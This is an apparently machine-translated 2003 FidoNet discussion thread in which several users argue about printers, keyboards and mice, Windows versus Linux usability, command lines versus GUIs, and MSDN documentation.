RA>>>>>> There are operating systems _generally_ without a command line, and nothing, they live.
KF>>>>> In phones, refrigerators...
RA>>>> MAC OS
KF>>> Is it okay, what’s inside BSD?
RA>> What's inside?
KF> Berkley Software Distribution.
A fashion trend, it wasn't there before MAC OS X
Happy connections. Roman.
Hello, Alexander!
04 Sep 03, 08:53, Aleksandr Majorov wrote to Roman Alexandrov on the topic
"RST Attack":
AM>>> I agree about dot matrix printers, all sorts of problems arise with them
AM>>> joyful problems.
RA>> In terms of the number of joyful problems, modern laser engineers and
RA>> inkjet players have overtaken matrix players very much....
AM> What exactly are the problems that spitters and lasers have compared to
AM> matrix?
Yes, all sorts of different ones, it so happened that I worked at three factories exactly at that time
the time when there was a re-equipment from matrix units to more modern ones,
so in all three places it was associated with large hemorrhoids
AM> The fact that matrix cameras are much cheaper
Have you looked at price lists lately? ask how much an Epson 1170 costs....
AM> and print only text faster
If from DOS
AM> - I know that. The fact that they are more reliable, because... simpler - I know.
I wouldn’t say it’s simpler...
AM> And what else?
Yes, anything: dancing with a tambourine in an attempt to force the old Dosov workstations
print, useless reliability (6-7 year old Epsons are excellent
are still working, having worked for 6 months OKI or Lexmark canthrow away), the wild cost of consumables - 200 rubles per cartridge for Epson once every
2 years and 26 rubles per tape once a month is nothing compared to the prices for consumables
laser printers and spitters, which are comparable in cost to the printer itself
(a cartridge + drum for Brother for 10,000 rubles costs 6,500 rubles, a drum for
The 180-dollar OKI costs $85), or even surpasses them (Lexmark Z11 along with
cartridge costs $56, despite the fact that the cartridge itself costs 32). Having worked
for a short time, ink jets and lasers begin to get ugly and dirty
etching with powder and ink, plus the eternal problem of heads drying out, On mine
super-duper photo Epson uses about half of the ink (one set about $35)
for regular cleaning of nozzles because it dries up not only for a day or two
having typed, but generally on the go, I had a case when I spent a month
half a color cartridge without printing a single color picture...
In general, there are enough problems, just as there are enough places where the matrix box is much more convenient
jet.
Happy connections. Roman.
Hello, Alexander!
Thursday 04 September 2003 15:36:00 Aleksandr Majorov -> Nikolaj Amosov:
AM>>> So I can say that modern keyboards rule.
NA>> Only in terms of the number of buttons, but not in terms of reliability.
NA>> How many cases were there when modern keyboards died in
NA>> current
NA>> six months of work.
AM> Strange, I haven’t heard anything like that. However, if you buy
AM> Chinese keyboards for 150
AM> rub, then nothing surprising.
These are the ones they buy. Included with new computers is
This is how it goes. Computer clubs love them very much...
[disk error]
NA>> You need a lot of money, but I bought mine for 50 rubles at the market.
AM> Yeah, and without any guarantees at all that there will be keyboard
AM> work.
Well, why not - they checked her on the spot.
AM> Just how do you connect this cheap keyboard to a computer with PS/2
AM> connector?
I had to buy an adapter.
AM> You'll have to hold the soldering iron in your hands.
AM> And I’ll turn on my keyboard either in USB or in PS/2.
Have you tried USB? Works? And then a friend bought an expensive oneoptical mouse, so it came with a ps/2<->usb adapter and
nothing works in USB, but it costs a lot...
[disk error]
NA>> Probably suitable for Fido ;)
AM> I can only say one thing - take it and try it.
And, like in Kaya, rent for three days with a return? So it's all the same money
I need - how much does it cost?
AM> I also thought that the wheel on the mouse was not needed, a lot
AM> key is not needed.
And I still think so, even though I have a mouse with a wheel,
but I only turn the sound with this wheel when I read a book on
couch, and get up, go to the computer and move the sliders with the mouse
lazy...
[REAL ZX]
Press RESET immediately, Roman Alexandrov!
On Thu, 04 Sep 03 06:52:50 +0400, Roman Alexandrov wrote:
PM>>>> both graphics and pure text mode. There is no such thing in Windows
PM>>>> capabilities - graphics only.
RA>>> This statement is not entirely true.
PM>> hmm... and in what place is it?
RA> In such a way that Windows can be launched without a web explorer.
Without an explorer there will be a Windows 3.11 interface, where the windows are
are minimized to the window title rectangle. Win32 subsystem
(this is what Windows is usually called) it basically can’t do it without a user interface.
HT by itself can.
Press RESET immediately, Aleksandr Majorov!
On Thu, 04 Sep 03 15:18:51 +0400, Aleksandr Majorov wrote:
RA>>> What's inside?
KF>> Berkley Software Distribution.
AM> And where was this BSD before the 10th version of MAC OS?
You should also ask where she was before 1917...
Press RESET immediately, Aleksandr Majorov!
On Thu, 04 Sep 03 14:55:28 +0400, Aleksandr Majorov wrote:
AM>>> Well.... Yes, no longer “graphics-oriented Windows-like.”
KF>> But I don’t need Mazda-likeness.
AM> Again - who cares what you need?
Why should I care about what I don’t need?
KF>> What, an ordinary user can no longer use his usual software
KF>> configure?
AM> What does “your own software” mean?
Which he uses.
AM> And at the same time explain why in Unix the user is not allowed to go up beyond his limits
AM> home directory.
You can go anywhere, you just can’t go into directories that aren’t yours.
Almost all system catalogs are available in RO, it cannot be otherwise.
AM> What if he wants to “customize his software”?
This is wonderful, everything is configured in your $HOME, and not anywhere else.
AM> In the same Windows, based on NT, they introduced access rights to directories, and in every possible way
AM> it is recommended not to give the user the right to access "C:Program Files"
AM> "C:WINDOWS", etc.
s/climb/record/, otherwise he won’t be able to launch the program from there
can. AM>>> Do you know about the magic “Win” button? What about the combination "Win + M"?
KF>> I know about the button, it moves windows for me. And the language menu button
KF>> switches. When you press WIN+M, the letter M is entered.
AM> Well, these are your Linux problems.
fvwm has all similar functions and fifty more that are missing in Windows.
KF>> And call him every time you want to throw an icon on the table? IRASM
KF>> grew stronger.
AM> And call the admin every time you want to install/remove/configure
AM> is the program not stupid?
Many programs are installed locally, but is it worth it?
do... Programs that are not locally configurable are a relic of Win'98.
AM>>> desired direction. Those. decided to make a system in MS
AM>>> user friendly - they did it. Everything is beautiful
KF>> At the same time, they didn’t do a lot of other more useful things.
KF>> Only because this power forbade them to do so.
AM> That's right, because there is a certain "party course" and you cannot deviate from it.
As a result, the system turned out to be completely unfriendly. Not without reasonThere are all sorts of Aston-shell and other substitutes for the standard interface.
AM> No. I have already talked about the experience of one homo lamerius, who decided “I
AM> right now I’ll quickly copy the files from the CD via this Linux to Windows"
A very good idea, if only not NTFS.
KF>> If a person who has worked in some unich all his life before
KF>> put him behind Windows, then what do you think in what words is he Windows
KF>> will it be called?
AM> If it worked in a “graphical interface”, then nothing.
This is despite the fact that the “graphical interface” is not K* or G*.
Even if both K* and G* are doubtful that a person will like Windows...
AM> If he only worked with the command line, then there will be problems.
AM> And IMHO they are exactly the same as when he switched to K* / G*.
Yes, it’s difficult to learn how to move a mouse.
KF>> He doesn’t need deep knowledge, but a little intelligence. Yes
KF>> everyone.
AM> If everyone has it, then why do people prefer (for now) Windows, and
AM> not Linux?
I prefer Linux. AM> And tell me - what kind of intelligence is needed to figure out what for
AM> document preview must be typed on the command line
AM> a bunch of commands?
I don’t even know... Maybe it’s true about baboons?
AM>>> Then the question is - why don’t any of the Linux programmers
AM>>> does it occur to you to do “all in one”?
KF>> Because there’s no need for it. I can't even imagine what this is for
KF>> all-in-one may be needed.
AM> So as not to bother with setting up 10 programs, but set up only one.
AM> In order not to perform strange body movements to do work, but to work
AM> only in one program.
This is not an argument. The boundaries between different programs can be very
blurred or completely absent, adjustments can be made
uniformly or not required at all. As an example, a junior shell.
KF>> why can’t an ordinary user learn just a couple of hundred
KF>> commands?
AM> Because this is not their job.
AM> You don't have to know Ohm's law to turn on the light. AM> You don't have to be able to design processors to work on a computer.
AM> You don't have to know accounting in order to service computers at work
AM> so why are you sure that accountants should know a couple of hundred commands for
AM> computer management and settings?
It doesn't need to be configured. How to work with explorer and commands
dosa they were taught once. To at least know how to write a file to a floppy disk,
both on a machine with Windows and DOS.
KF>> For a person who constantly works with a computer, this is not a problem.
AM> Don’t confuse working _With_ a computer and working _HA_ a computer.
And what's the difference?
KF>> That's why I suggest a line under the icons so that you can have icons
KF>> move with the mouse and then compose complex commands.
AM> Yeah, and then the admin will remember you (as the one who suggested this) as good
AM> in words, raising a system that was killed by users who decided something in the line
AM> enter.
AM> Have you ever wondered why all the “controls” (screws, switches and
AM> etc.) both in enterprises and in homes are “blocked”, locked and AM> are generally made inaccessible to “regular users”? And you suggest
AM> move the main "vintage" of the computer to the most visible place and keep it there
AM> open!
In this case, the set of commands can be limited or simply turned off.
Your arguments are simply delusional, in the style of “Linux vs Microsoft Office”.
AM> Did you buy VB or just download a cut version from somewhere?
I took it from a pirated disc, of course. I understand that there are books and that’s it
such, but there should also be a reference book in the kit. According to F1 and VB,
and MSVC say they need MSDN. Installed MSDN from a non-pirated disk,
but they don’t care, they want some other MSDN... :-(
AM> I also didn’t have a three-disc MSDN attached to the VC, but I don’t assure that
AM> there is no help for it.
I have MSDN. It is written in a completely incomprehensible language. Like
English, but very difficult to read. A lot of unnecessary words, as if written
just for the sake of volume. It’s difficult to understand what they think in M$ and who gives them the documentation
writes... Any American English is much easier and more understandable to read.
AM> Well, about the thousands of buttons - there was a gorgeous picture on the Internet “Word for
AM> blondes", where _all_ Word toolbars were turned on and displayed. AM> And if you displayed all the panels in VB and (obviously) got confused in them, then what are you doing
AM> are you different from this “blonde”?
They came out on their own...
Hello Nikolaj!
04 Sep 03 21:53, Nikolaj Amosov -> Aleksandr Majorov:
[skipped]
AM>> Strange, I haven’t heard anything like that. However, if you buy
AM>> Chinese keyboards for 150
AM>> rub, then nothing surprising.
NA> These are the ones they buy. It is included with new computers
NA> this is how it goes. Computer clubs love them very much...
Well then the buyer is his own evil pinocchio.
[skipped]
AM>> Yeah, and without any guarantees at all that there will be keyboard
AM>> work.
NA> Well, why - they checked it on the spot.
At work, a man bought a 2*32 MB SIM card, and it seemed like they were working for revenge.
The houses on his motherboard never started.
[skipped]
AM>> And I’ll turn on my keyboard either in USB or in PS/2.
NA> Have you tried it in USB? Does it work?
Yes, in both cases.
Moreover, the standard software provides one useful feature when working with USB, but not on PC/2
:)
[skipped]
AM>> I can only say one thing - take it and try it.
NA> Oh, like in Kei, rent for three days with a return? So it’s all the same money
NA> need - how much does it cost?
I won't say for sure.
My Logitech cost somewhere around 1200...1500 rubles.And this one will be more expensive.
AM>> I also thought that the wheel on the mouse was not needed, a lot
AM>> the key is not needed.
NA> And I still think so, even though I have a mouse with a wheel,
NA> but I only turn the sound with this wheel when I read a book on
NA> on the couch, and get up, go to the computer and move the sliders with the mouse
NA> lazy...
And it’s convenient for me to scroll through texts)
Alexand
Hello, Alexander!
Friday 05 September 2003 15:30:08 Aleksandr Majorov -> Nikolaj Amosov:
AM>>> I also thought that the wheel on the mouse was not needed, a lot
AM>>> the key is not needed.
NA>> And I still think so, even though I have a mouse with
NA>> wheel,
NA>> but I only turn the sound with this wheel when I read a book on
NA>> sofa, and get up, go to the computer and move the sliders with the mouse
NA>> lazy...
AM> And it’s convenient for me to scroll through texts %)
Well, I don’t know - reading from the screen is like pinocchio. I was typing now
three-volume Inforcom - I will read from sight ;)
[REAL ZX]
*** Reply to the letter in the aria MY_MAIL (Letters for me).
Hello, Kirill!
05 Sep 03, 03:04, Kirill Frolov wrote to Roman Alexandrov on the topic "Attack
RST":
PM>>>>> both graphics and pure text mode. There is no such thing in Windows
PM>>>>> possibilities - only graphics.
RA>>>> This statement is not entirely true.
PM>>> hmm... and in what place is it?
RA>> In such a way that Windows can be launched without a web explorer.
KF> Without explorer there will be a Windows 3.11 interface
Nonsense.
Happy connections. Roman.
Hello Nikolaj!
05 Sep 03 21:46, Nikolaj Amosov -> Aleksandr Majorov:
[skipped]
AM>> It’s convenient for me to scroll through texts %)
NA> Well, I don’t know - reading from the screen is like pinocchio. Currently typing
NA> three-volume Inforcom - I will sight read ;)
Remember - 60 kg of unopened sources saves one tree! ;)
Alexand
*** Reply to message from CARBON.COPIES (<>).
Hello Kirill!
05 Sep 03 03:48, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Again - who cares what you need?
KF> Why should I care about what I don’t need?
Absolutely none. But you shouldn’t assure everyone that you don’t need what you don’t need.
to no one.
[skipped]
KF>>> At the same time, they didn’t make a lot of other more useful ones
KF>>> things. Only because this power forbade them to do so.
AM>> Correct, because there is a certain “party course” and deviate from it
AM>> is not allowed.
KF> As a result, the system turned out to be completely unfriendly.
For some reason, most people are happy with it.
KF> It’s not for nothing that there are all sorts of Aston-shell and other substitutes for the standard one
KF> interface.
Freedom of choice! :)
Yes, all these substitutes exist. But how often are they used?
Judging by what I saw myself - a couple of people at work installed Astons, after a couple
weeks/month returned to the standard interface.
AM>> No. I have already talked about the experience of one homo lamerius, who
AM>> decided “I’ll quickly copy files from the CD via this Linux to AM>> Windows"
KF> A very good idea, if only not NTFS.
Hmm.... So you didn't read.
He found the "CD" icon almost immediately. I double-clicked on it and got two windows with
files.
Then followed a long search, which ended with a brilliant phrase:
"What garbage is this Linux, there isn't even a 'Network Neighborhood' icon."
After that, both windows with files on the CD were closed and the button on the CD was pressed.
This was followed by the phrase: “why doesn’t this Linux give me the disk?????”
[skipped]
AM>> If it only worked with the command line, then there are problems
AM>> will be. And IMHO they are exactly the same as when he switched to K* / G*.
KF> Yes, it’s difficult to learn how to use a mouse.
No, it’s more difficult to relearn and get used to a completely different work environment.
However, when learning from scratch, working in the GUI seems easier/more convenient.
KF>>> He doesn’t need deep knowledge, but a little intelligence.
KF>>> Everyone has it.
AM>> If everyone has it, then why do people prefer it (for now)
AM>> Windows, not Linux?
KF> I prefer Linux.
Do you already have all the people? :)
[skipped]
AM>> In order not to bother with setting up 10 programs, but to configure AM>> only one. In order not to perform strange body movements for
AM>> perform work, but work only in one program.
KF> This is not an argument. The boundary between different programs can be
KF> is very blurry or completely absent, settings may
KF> be executed uniformly or not required at all. As an example
KF> junior shell.
Isn't this the same program? More precisely, not one software package?
[skipped]
AM>> You don't have to be able to design processors to work for
AM>> comp. You don't have to know accounting in order to serve
AM>> computers at work, so why are you sure that accountants should know
AM>> a couple of hundred commands to manage and configure your computer?
KF> It does not need to be configured. How to work with explorer and commands
KF> they were trained once upon a time.
Today's people are not taught DOS. The old ones have already forgotten about DOS (“and we also studied this...
black, scary... Ah! DOS!").
KF> To at least know how to write a file to a floppy disk
Grab the file with your mouse and drag it onto the floppy disk. KF> both on a machine with Windows and DOS.
How widespread are machines with DOS?
KF>>> For a person who constantly works with a computer, this is not a problem.
AM>> Don’t confuse working _with_ a computer and working _HA_ a computer.
KF> And what is the difference?
To put it very bluntly, working with a computer means administering it. In short
the work of someone who understands what he is doing. If there are no computers, then the person
one who works with a computer will not be needed.
Work on a computer - a computer is a kind of box with a screen and buttons. With
where the user is doing some work. A computer is just too much for him
one tool to make your job easier. People don't care what's inside it
tool. If there are no computers, then the work will only slow down,
will be produced completely differently, etc.
[skipped]
AM>> are made inaccessible to "regular users"? And you
AM>> you suggest placing the main "vintage" of the computer in the most visible place
AM>> place and keep it open there!
KF> In this case, the set of commands can be limited, or simply turned off.
In Windows they limited/disabled it altogether.
KF> Your arguments are simply delusional, in the style of “Linux vs Microsoft Office.”
Justify.It makes absolutely no difference to me what OS the user will have on his computer.
But if I have to service this car, then I will do everything possible to
so that the user, accidentally or intentionally, would not be able to
change system settings as his left foot wants. I'll do everything the same
It is possible for this computer to do only what it is installed for.
In this case, there will be an order of magnitude fewer problems with your computer.
[skipped]
AM>> I also didn’t have a three-disc MSDN attached to the VC, but I didn’t
AM>> I assure you that there is no help for it.
KF> I have MSDN. It is written in a completely incomprehensible language. Like
KF> English, but very difficult to read.
People somehow read without any problems and don’t complain. And even buys or
paid subscription to updates. What are they doing wrong?
[skipped]
AM>> Well, about the thousands of buttons - there was a gorgeous picture on the Internet
AM>> "Word for the blonde", where _all_ panels were turned on and displayed
AM>> Word tools. And if you display all the panels in VB and (obviously)
AM>> got confused in them, then how are you different from this “blonde”?
KF> They hatched themselves...Well, that means the default settings are typical (which I highly doubt).
But no one is stopping you from turning off unnecessary toolbars.
Alexand
Press RESET immediately, Roman Alexandrov!
On Sat, 06 Sep 03 11:25:51 +0400, Roman Alexandrov wrote:
RA>>> In such a way that Windows can be launched without a web explorer.
KF>> Without explorer there will be a Windows 3.11 interface
RA> Nonsense.
Well, not 3.11, of course, but similar, in the sense without the taskbar.
Press RESET immediately, Aleksandr Majorov!
On Sat, 06 Sep 03 15:28:12 +0400, Aleksandr Majorov wrote:
AM>>> Correct, because there is a certain “party course” and deviate from it
AM>>> is not allowed.
KF>> As a result, the system turned out to be completely unfriendly.
AM> For some reason, most people are happy with it.
It suits me too, but I don’t consider it friendly.
AM>>> decided “I’ll quickly copy files from the CD via this Linux to
AM>>> Windows"
KF>> A very good idea, if only not NTFS.
AM> Hmm.... So you didn't read.
AM> He found the “CD” icon almost immediately. I double-clicked on it and got two
AM> This was followed by the phrase: “why doesn’t this Linux give me the disk?????”
All the troubles come from icons...
KF>> Yes, it’s difficult to learn how to use a mouse.
AM> No, it’s more difficult to relearn and get used to a completely different work environment.
AM> However, when learning from scratch, working in the GUI seems easier/more convenient.
^^^^^^^^^^
Yes it is. But icons only create the illusion of simplicity. AM>>> If everyone has it, then why do people prefer it (for now)
AM>>> Windows, not Linux?
KF>> I prefer Linux.
AM> Do you already have all the people? :)
But the people cannot prefer anything; they can only talk about
its individual representatives.
KF>> This is not an argument. The boundary between different programs can be
KF>> is very blurry or completely absent, settings may
KF>> be executed uniformly or not required at all. As an example
KF>> junior shell.
AM> Isn’t this one program? More precisely, not one software package?
There may be a different number of packages. This is shell-utils,
text-utils, fileutils, the shell itself and something else.
AM> Today's DOS students are not taught. The old ones have already forgotten about DOS ("and we also studied
AM> this... black, scary... Ah! DOS!").
This is bad.
KF>> To at least know how to write a file to a floppy disk
AM> Grab the file with the mouse and drag it to the floppy disk.
Why can't I drag "my computer" onto a floppy disk, and then onto a floppy disk?
to another computer?
KF>> both on a machine with Windows and DOS. AM> How widespread are machines with DOS?
But DOS programs still remain.
KF>> In this case, the set of commands can be limited, or simply turned off.
AM> Here in Windows they limited/turned off altogether.
I want to turn it on!
Hello, Kirill!
07 Sep 03, 02:22, Kirill Frolov wrote to Roman Alexandrov on the topic "Re:
RST attack":
RA>>>> In such a way that Windows can be launched without a web explorer.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KF>>> Without explorer there will be a Windows 3.11 interface
RA>> Nonsense.
KF> Well, not 3.11, of course, but similar, in the sense without the taskbar.
Read the underlining.
Happy connections. Roman.
Press RESET immediately, Roman Alexandrov!
On Sun, 07 Sep 03 02:00:39 +0400, Roman Alexandrov wrote:
RA>>>>> In such a way that Windows can be launched without a web explorer.
RA> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KF>>>> Without explorer there will be a Windows 3.11 interface
RA>>> Nonsense.
KF>> Well, not 3.11, of course, but similar, in the sense without the taskbar.
RA> Read the underlined.
So I write winfile or taskman, or cmd in the shell program,
if it's NT, and I get the presence of a user interface and the absence of an explorer. Without explorer
some programs do not start, or they themselves launch first
explorer.
You can register any Windows (win32) program in the shell. In NT it's
registry entry, in W'9x line in system.ini.
Greetings, Roman, reading this nonsense...
I remember 04 Sep 03 07:52, Roman Alexandrov spoke with Paul Malishev... Well then
we will answer:
KF>>>>>>>> Now explain why you need to “log in” if
KF>>>>>>>> are there any plans to enter any commands?
AM>>>>>>> Because Windows is a graphics-oriented OS.
KF>>>>>> Linux with X is also graphics-oriented...
PM>>>> Not true. Linux is the kernel. It has an opportunity
PM>>>> use both graphics and pure text mode. In Windows
PM>>>> there is no such option - only graphics.
RA>>> This statement is not entirely true.
PM>> hmm... and in what place is it?
RA> In such a way that Windows can be launched without a web explorer.
Well, whoops for that!
The boot process itself - and it will be in guei... even if in safe mode, with
command line...
Let me say goodbye to you Roman...
on distribution - points in *realnet*, *kotnet*, *progressivenet*,
*skynet*...
/paused/
Hello Kirill!
07 Sep 03 02:52, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> As a result, the system turned out to be completely unfriendly.
AM>> For some reason, most people are happy with it.
KF> It suits me too, but I don’t consider it friendly.
Is it easier to learn to work with Windows? Are there hints everywhere? Windows allows
simplify your computer knowledge? Windows itself does what it wants
Do you think you need to do it, but you haven’t done it?
The answer to all questions is “yes”. That means it's friendly!
:-))
[skipped]
AM>> He found the “CD” icon almost immediately. I double-clicked on it
AM>> received two Then the phrase followed: “why do I need this Linux disk
AM>> does not give?????"
KF> All the troubles come from icons...
No, not from the eggs. And from the “friendly Windows” and a bright representative of homo
lamerius.
But even such representatives of the human race have to work on a computer, and
in this case, Windows (especially a properly configured NT system) is simply
rulez. Because he won’t climb anywhere and won’t spoil anything (except his data%)
And so, if I had not intervened, he would either have ruined the CD drive or computer, or killed
Linux. Because such a bad Linux does not copy files, and even does not give away the disk!
[skipped] AM>> work environment. However, when learning from scratch, working in the GUI seems
AM>> simpler/more convenient.
KF> ^^^^^^^^^^
KF> Yes, yes. But icons only create the illusion of simplicity.
Not true. To perform everyday user tasks, the GUI is
in the simplest way.
To do something more complex, and even something that is not provided for by the authors
programs or GUI - yes, problems arise here.
But these problems arise for the administrator, and no one forbids him to work in
command line!
[skipped]
KF>>> I prefer Linux.
AM>> Do you already have all the people? :)
KF> But the people cannot prefer anything, they can only talk about
KF> its individual representatives.
Not true. We can talk about what the majority of his individual prefers
representatives.
[skipped]
KF>>> To at least know how to write a file to a floppy disk
AM>> Grab the file with the mouse and drag it to the floppy disk.
KF> Why can’t “my computer” be dragged onto a floppy disk and then onto a floppy disk
KF> to another computer?
Because “the whole computer won’t fit on a floppy disk” :) KF>>> both on a machine with Windows and DOS.
AM>> How widespread are machines with DOS?
KF> But DOS programs still remain.
The percentage of DOS programs is decreasing and decreasing.
The world is becoming more and more GUI-more and more GUI-more.
KF>>> In this case, the set of commands can be limited, or simply
KF>>> turn off.
AM>> In Windows they limited/turned it off altogether.
KF> I want to turn it on!
Launch Explorer. Launch the command line, place it below the “icons”.
That's it, problem solved :)
Alexand
Press RESET immediately, Aleksandr Majorov!
On Sun, 07 Sep 03 11:03:07 +0400, Aleksandr Majorov wrote:
KF>>>> As a result, the system turned out to be completely unfriendly.
AM>>> For some reason, most people are happy with it.
KF>> It suits me too, but I don’t consider it friendly.
AM> Is it easier to learn to work with Windows?
Easier than what?
AM> Are there hints everywhere?
Do you know what the majority of users think about
these tips? I think it matches yours...
AM> Does Windows simplify your knowledge of working with a computer?
No. That's why it's not friendly.
KF>> All the troubles come from icons...
AM> No, not from the eggs.
Of course from the icons. If there weren't icons, it wouldn't matter at all,
how many times do you need to click on them and what button closes the window, and
which one is minimized (that’s why the disk was not given away).
AM> But even such representatives of the human race have to work
AM> on the computer, and in this case Windows (especially properly configured NT
AM> system) is just a rulez. Because he won’t climb anywhere and nothing
AM> will not spoil (except for your data%)Dos will suit you for sure.
AM>>> work environment. However, when learning from scratch, working in the GUI seems
AM>>> simpler/more convenient.
KF>> ^^^^^^^^^^
KF>> Yes. But icons only create the illusion of simplicity.
AM> Incorrect. To perform everyday user tasks GUI and
AM> is the simplest way.
In CNC machines, that's where it belongs.
AM> But these problems arise with the administrator, and no one forbids him to work in
AM> command line!
In Windows, to work on the command line, you need to install cygwin.
KF>> But the people cannot prefer anything, they can only talk about
KF>> its individual representatives.
AM> Incorrect. We can talk about what the majority of its individual prefers
AM> representatives.
If you just take it and add it up it will turn out to be complete nonsense. I'm not interested...
KF>> Why can’t “my computer” be dragged onto a floppy disk, and then onto a floppy disk
KF>> to another computer?
AM> Because “the whole computer won’t fit on a floppy disk” :)Not true. Because he will be forced to diskette into itself
copy.
AM>>> In Windows they limited/turned it off altogether.
KF>> I want to turn it on!
AM> Launch Explorer. Launch the command line, place it below the “icons”.
AM> That's it, the problem is solved :)
Figwam. How can I glue the cmd window to the explorer window? How about cmd?
lower the window level so that it is actually lower
icons? Windows is not capable of this, and therefore is not friendly.
Hello Kirill!
09 Sep 03 01:31, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Is it easier to learn to work with Windows?
KF> Easier than what?
Easier than on the same Linux.
AM>> Are there hints everywhere?
KF> You know what the majority of users think about
KF> these tips? I think it matches yours...
For the first time, the tips help. Then they get wildly annoying.
AM>> Does Windows simplify your knowledge of working with a computer?
KF> No. That's why it's not friendly.
How doesn't this make it easier? You don't need to know anything about the computer at all,
And since you can know nothing, your knowledge is simplified by reducing it.
KF>>> All the troubles come from icons...
AM>> No, not from the eggs.
KF> Of course, from icons. If there weren't icons, it wouldn't matter at all
KF> how many times you need to click on them and what button closes the window, and
KF> which one is minimized (that’s why the disk was not given away).
If there was a menu, it would be the same.
Because how could he know about the terrible word “mounting a disk” and that
An unmounted CD is blocked in the CD drive.After all, when opening a window with files on the disk, there were no prompts for this
about!
AM>> But even such representatives of the human race have to
AM>> work on a computer, and in this case Windows (especially competently
AM>> configured NT system) is a simple rulez. Because he's not going anywhere
AM>> will climb in and not spoil anything (except your data%)
KF> Dos will definitely suit you.
Well, suggest that everyone at work switch to DOS. Then listen to the indication of the place where
they will send you :)
[skipped]
AM>> Incorrect. To perform everyday user tasks GUI and
AM>> is the simplest way.
KF> In CNC machines, this is where the place is.
Well, there it is somewhere. Although the machine is (most often) operated by a person who
understands what he is doing. So he doesn’t care whether he screws up or doesn’t screw up.
[skipped]
AM>> Incorrect. We can talk about what the majority prefers it
AM>> individual representatives.
KF> If you just take it and add it up, it turns out to be complete nonsense.
KF> I'm not interested...
Wow, this is, IMHO, the problem with Linux.A Linux programmer is not interested in something, and he does not do it. What about
most users prefer it doesn't interest him.
And in some small software they are interested in what users prefer, and they give
instructing your programmer to do this.
As a result, users pay small software and stay on Windows, but they talk about Linux
“oh, this is bullshit, there’s not even a YYY there.”
[skipped]
AM>> Launch Explorer. Launch the command line, place it below
AM>> "icons". That's it, problem solved :)
KF> Figvam. How can I glue the cmd window to the explorer window?
Place them side by side and that's it. Or write a shell program that will
display the explorer window and cmd together.
After all, this is interesting to you?
KF> How can cmd lower the window level so much
KF> so that it is really below the icons?
What does "window level" mean?
KF> Windows is not capable of this, that’s why it doesn’t
KF> friendly.
And who is stopping someone who is interested in implementing this feature?
So, the presence of cmd glued to the explorer automatically makes Windows
friendly?
Alexand
Press RESET immediately, Aleksandr Majorov!
On Tue, 09 Sep 03 17:47:53 +0400, Aleksandr Majorov wrote:
AM>>> Is it easier to learn to work with Windows?
KF>> Easier than what?
AM> Easier than on the same Linux.
It depends on how you work with it...
AM>>> Are there hints everywhere?
KF>> You know what opinion most users have about
KF>> these tips? I think it matches yours...
AM> For the first time, the tips help. Then they get wildly annoying.
In my opinion they are designed for idiots. Any time. Help is also built-in
worse. Linux has normal help! In non-Russian language only. :-(
AM>>> Does Windows simplify your knowledge of working with a computer?
KF>> No. That's why it's not friendly.
AM> How does this not simplify things? You don't need to know anything about the computer at all,
AM> And since you can know nothing, then your knowledge is simplified due to them
AM> decrease.
Well, if you get rid of the computer altogether, then everything turns out to be even simpler.
KF>> Of course, from icons. If there weren't icons, it wouldn't matter at all KF>> how many times you need to click on them and what button closes the window, and
KF>> which one is minimized (that’s why the disk was not given away).
AM> If there was a menu, it would be the same.
No... He didn’t close the window, but rolled it up. In several dozen buttons
different wm-s (multiplied by dozens of different “topics”) experienced Unixoid
it might get confusing...
AM> Because how could he know about the terrible word “disk mounting”
All you need to know is that before you remove the disk you need
finish working with it, that is, close all files (close windows,
end programs, move to another directory...) The auto-fitter himself
will unmount in a few seconds.
AM> and that an unmounted CD is blocked in the CD drive.
It’s not blocked in Windows, but what happens? Blue screen in W'98,
In HT Explorer is buggy and freezes. I was just rebooting the machine the other day.
due to the fact that he could not accept the new disk just because
the old one was pulled out at random - the programs all showed the directory from
old disk! The disk cannot be pulled out at any time, period.
AM>>> work on a computer, and in this case Windows (especially competently
AM>>> configured NT system) is a simple rulez. Because he's not going anywhere AM>>> will climb in and not spoil anything (except your data%)
KF>> Dos will definitely suit you.
AM> Well, suggest that everyone at work switch to DOS.
DOS == Denial Of Service, that's what I meant. Windows is susceptible to dosa.
All sorts of Linux too.
KF>> In CNC machines, that’s where the place is.
AM> Well, it’s there somewhere. Although a person (most often) works on the machine,
AM> which understands what it is doing. So he doesn’t care whether he screws up or not.
Yeah, but a clinical idiot must sit behind the monitor...
AM>>> We can talk about what the majority prefers it
AM>>> individual representatives.
KF>> If you just take it and add it up, it turns out to be complete nonsense.
KF>> I'm not interested...
AM> Wow, this, IMHO, is the problem with Linux.
AM> A Linux programmer is not interested in something, and he does not do it.
I don't see a problem with this. Linux is a student's craft,
do what you want and how you want... I wouldn’t want Linux
I finally turned into a second Windows - one is already quite enough.
AM> And the fact that most users prefer this does not interest him.Maybe a specific programmer is not interested in this, but in this
In this case, the majority are quite effective in influencing the development of the platform.
It is the majority of users (the programmer is also a user),
and not anyone else.
AM> And in some small software they are interested in what users prefer
AM> and instruct their programmer to do this.
Not like that. As for what and how to do in Microsoft, I think they have
your opinion, which is successfully imposed on users.
AM> As a result, users pay small software and remain on Windows,
AM> and about Linux they say “oh, that’s bullshit, there’s not even a YYY.”
There is no absolute rulez. I can say about Windows that
This is all bullshit... you can’t even navigate windows normally using the keyboard.
AM>>> Launch Explorer. Launch the command line, place it below
AM>>> "icons". That's it, problem solved :)
KF>> Figvam. How can I glue the cmd window to the explorer window?
AM> Place them next to each other and that's it.
So if I collapse/expand something, everything will be ruined.
AM> Or write a shell program that will
AM> display the explorer window and cmd together.Here's another thing... I'm a simple user, I don't know C/C++ and I don't want to know.
KF>> How can cmd lower the window level so much
KF>> so that it is really below the icons?
AM> What does "window level" mean?
Each window has a level. Whoever has it less (or more) is the one
turns out to be on top and blocks the remaining windows. Icons also have
your level. Even lower is "wallpaper".
KF>> Windows is not capable of this, and therefore is not friendly.
AM> And who is stopping someone who is interested in implementing this feature?
So all I will do is implement all sorts of
unnecessary features...
AM> So, the presence of cmd glued to the conductor automatically makes Windows
AM> friendly?
He will make her less unfriendly.
Hello Kirill!
10 Sep 03 00:53, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Easier than on the same Linux.
KF> It depends on how you work with it...
The average job is to create a document in Word/Excel, with 1C
work in accounting...
[skipped]
AM>> For the first time, the tips help. Then they get wildly annoying.
